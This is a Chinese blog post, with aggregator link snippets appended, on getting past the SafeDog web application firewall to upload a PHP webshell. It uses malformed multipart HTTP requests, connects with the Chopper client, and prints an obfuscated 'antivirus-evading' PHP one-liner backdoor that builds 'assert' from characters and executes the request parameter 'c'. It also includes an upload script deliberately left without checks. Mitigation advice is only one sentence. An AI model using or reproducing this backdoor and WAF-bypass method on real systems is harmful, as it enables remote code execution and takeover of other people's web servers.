绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)
这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法。
思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测。
废话不多说,切入正题。。。。
1、实验环境:
Windows Server 2003、 Apache/2.4.18、PHP/5.3.29、网站安全狗(Apache版)V3.5.12048
2、用于文件上传的PHP源码:
<?php
$path = dirname(__FILE__) . '/upload/';
$rand = rand(0,30);
move_uploaded_file($_FILES["file"]["tmp_name"],$path . $rand . $_FILES["file"]["name"]);
echo "File Path:" . $path . $rand . $_FILES["file"]["name"] . "<br/>";
echo "OK";
?>
因为此次实验的目的是绕过网站安全狗,所以PHP源码上我没做任何检测,把上传的文件直接放在upload目录下。
3、先看一下正常的HTTP请求:
很明显,文件名为”yijuhua.php”被拦截。。。。
4、尝试%00截断:
很明显,失败了。。。
5、修改HTTP请求,构造畸形HTTP请求
(1)删除实体里面的Conten-Type字段:
绕过网站安全狗的拦截,成功上传WebShell。。。
(2)删除Content-Disposition字段里的空格:
(3)修改Content-Disposition字段值的大小写:
6、菜刀连接一句话:
到此,上传WebShell结束,各位看明白了吗?
7、免杀PHP一句话:
<?php
/*
PHP一句话木马
assert($string)
*/
$arr = array('a','s','s','e','r','t');
$func = '';
for($i=0;$i<count($arr);$i++) {
$func .= $func . $arr[$i];
}
$func($_REQUEST['c']);
?>
8、修复漏洞:
出现这种情况,我认为是网站安全狗在开发时没有考虑到畸形HTTP请求,而Apache却兼容畸形HTTP请求,所以能够上传成功。
绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)的更多相关文章
- 高版本正方教务系统上传后缀过滤不严导致能直接上传Webshell
在旧版本中有一个利用插件上传文件的漏洞,但是在新版本中已经没有了这个插件.这个漏洞是由于过滤不严造成的,可以直接上传Webshell进行提权,由于代码在DLL中,全国大部分高校均有此漏洞,影响范围很大 ...
- 如何上传webshell后改回原来的webshell的格式
一般后台不给允许上传php,asp格式的东东 所以我们要把木马改为jpg格式 记录下上传的路径 我们上传后木马因为格式不对不能被正确解析,我们可以利用网站的备份数据库模式恢复格式 在备份数据库那填上我 ...
- burpsuite截断上传webshell
1.先设置好代理127.0.0.1 8080 2.开启截断模式 3.上传文件会被burp截断 4.在hex下找到你上传的webshell的16进制编码 5.把.后面的源码改为00 点击forward上 ...
- 基于SpringBoot从零构建博客网站 - 设计可扩展上传模块和开发修改头像密码功能
上传模块在web开发中是很常见的功能也是很重要的功能,在web应用中需要上传的可以是图片.pdf.压缩包等其它类型的文件,同时对于图片可能需要回显,对于其它文件要能够支持下载等.在守望博客系统中对于上 ...
- 基于Flask开发网站 -- 前端Ajax异步上传文件到后台
大家好,我是辰哥~ 辰哥最近利用空闲时间在写一个在线可视化平台,过程中也觉得一些技术还是比较有意思的,所以就以模块化的形式分享出来.如:从网页界面(前端)上传文件到服务器(后端). 放一下该模块的界面 ...
- 文件上传小技巧/后端处理【以php示例】
引语:在上一篇文章中说到,在页面中可以用隐藏的方式让你的上传页面看起来漂亮.但是这对于性能来说,并没有什么卵用,那么在后台的处理中,难道就没有一些处理技巧么?所谓后台的技巧,应该要包括上传得快一点,上 ...
- 文件上传小技巧/原生态【html篇】
引语:大家都知道,html中上传文件就一个input,type=file就搞定了.但是,这个标签的样式,实在不值得提点什么,要改动他的样式,恐怕也是较难的.但是其实挺简单,今天就来说说上传文件小技巧吧 ...
- php文件上传与下载(附封装好的函数文件)
单文件上传前端页面 <!DOCTYPE html> <html lang="en"> <head> <meta charset=" ...
- git上传代码技巧
1.一定要先在git上面创建项目然后把文件拉到本地先 1.1克隆到本地(orgin=>'你的远程仓库地址') git clone orgin 1.2初始化项目文件夹 git init 2.操作之 ...
随机推荐
- linux下如何修改iptables开启80端口
linux下如何修改iptables开启80端口 最近在做本地服务器的环境,发现网站localhost能正常访问,用ip访问就访问不了,经常使用CentOS的朋友,可能会遇到和我一样的问题.开启了 ...
- ONES 安装、配置以及初始化配置
环境依赖 bower composer php 5.5.9+ mysql 5.6.5+ PHP和MySQL版本均为最低要求版本,安装前请先确认. 通过CLI安装 $ git clone http:// ...
- Windows下python安装MySQLdb
安装MySQLdb需要在电脑上安装MySQL connector C,只需要这个connector就好,不需要把mysql装全. 另外,需要安装VC for python提供编译. 到官网上下载脚本进 ...
- PVST+(每个VLAN 的生成树PVST 加)
PVST+(每个VLAN 的生成树PVST 加) 实验拓扑: 分别在 SW1 和SW2 上show spanning-tree 查看结果: SW1#show spanning-tree VLAN000 ...
- Developing Backbone.js Applications
https://addyosmani.com/backbone-fundamentals/
- Android导入工程,R 资源文件无法生成
在Android中使用开源代码或者自己开发项目的时候,经常会遇到R.java文件丢失的情况,如何重新生成呢?网上一般给出这样的两种方法: 方法 1:右击你的工程(项目)——>Android To ...
- SQL模擬死結產生
引用自:http://jengting.blogspot.tw/2012/06/sql.html 根據 MSDN 將死結數量降至最低 裡的圖型模擬死結產生 ~~ 在 SSMS 內開啟兩個 T-SQL ...
- 近期用过的Linux口令备份
最近使用Ubuntu用到的一些口令: rm -rf directory 移除文件夹或者文件touch (create file)mkdirmv(move,rename)chown (change ow ...
- Sybase数据库的分页功能
项目中需要用到Sybase数据库的分页功能,想尽各种办法都没有成功,最后用如下的存储过程成功实现功能,记录备忘. ),@start int, @pageSize int as begin declar ...
- 《accelerated c++》第九章---设计类
本章简单介绍了类的设计,但是包含了一些好的设计原则. 1一些通用的设计原则 (1)一个函数是否设计成成员函数的原则:如果这个函数改变对象的状态,那么这个函数就应该成为这个对象的成员. (2)对于内置类 ...